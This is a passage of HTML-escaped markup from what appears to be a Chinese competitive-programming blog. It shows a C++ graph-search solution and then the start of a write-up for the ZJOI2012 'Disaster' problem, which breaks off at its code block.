class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003enextInt\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ret = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buf = \u003cspan class=\"built_in\"\u003egetchar\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!\u003cspan class=\"built_in\"\u003eisdigit\u003c/span\u003e(buf))buf = \u003cspan class=\"built_in\"\u003egetchar\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eisdigit\u003c/span\u003e(buf)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ret *= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ret += buf - \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e buf = \u003cspan class=\"built_in\"\u003egetchar\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ret;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eputInt\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buf[\u003cspan class=\"number\"\u003e10\u003c/span\u003e], cnt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cnt = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (x)buf[cnt++] = x % \u003cspan class=\"number\"\u003e10\u003c/span\u003e, x /= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (cnt--)\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(buf[cnt] + \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eGraph\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;map[\u003cspan class=\"number\"\u003e200001\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e b)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e map[a].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e map[b].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(a);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eSPFA\u003c/span\u003e :\u003c/span\u003eGraph \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dis[\u003cspan class=\"number\"\u003e200001\u003c/span\u003e]; \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e inQueue[\u003cspan class=\"number\"\u003e200001\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ework\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(inQueue, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e inQueue);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(dis, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e dis);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;joblist;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(x); dis[x] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e inQueue[x] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (joblist.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e(); joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; map[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dis[map[current][i]] \u0026lt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e + dis[current]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e dis[map[current][i]] = dis[current] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!inQueue[map[current][i]]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(map[current][i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e inQueue[map[current][i]] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;G;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eCityEdge\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, b, city_id;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efriend\u003c/span\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e \u0026lt;(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e CityEdge \u0026amp;a, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e CityEdge \u0026amp;b) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a.b == b.b)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a.a \u0026lt; b.a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a.b \u0026lt; b.b;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003evector\u0026lt;CityEdge\u0026gt;temp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n = \u003cspan class=\"built_in\"\u003enextInt\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a = \u003cspan class=\"built_in\"\u003enextInt\u003c/span\u003e(), b = \u003cspan class=\"built_in\"\u003enextInt\u003c/span\u003e(), c = \u003cspan class=\"built_in\"\u003enextInt\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; b)\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(a, b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; c)\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(a, c);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (b \u0026gt; c)\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(b, c);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e temp.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(\u0026#123; a,b,i \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e temp.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(\u0026#123; a,c,i \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e temp.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(\u0026#123; b,c,i \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e(temp.\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e(), temp.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; temp.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (temp[i].a == temp[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].a\u0026amp;\u0026amp;temp[i].b == temp[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].b)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(temp[i].city_id, temp[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].city_id);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e should_from, max_dis = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003ework\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (G.dis[i] \u0026gt; max_dis)max_dis = G.dis[i], should_from = i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003ework\u003c/span\u003e(should_from);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (G.dis[i] \u0026gt; max_dis)max_dis = G.dis[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputInt\u003c/span\u003e(max_dis+\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"灾难\"\u003e灾难\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: BZOJ2815/ZJOI2012\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e一个物种灭绝当且仅当这个物种的所有食物的lca灭绝\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan 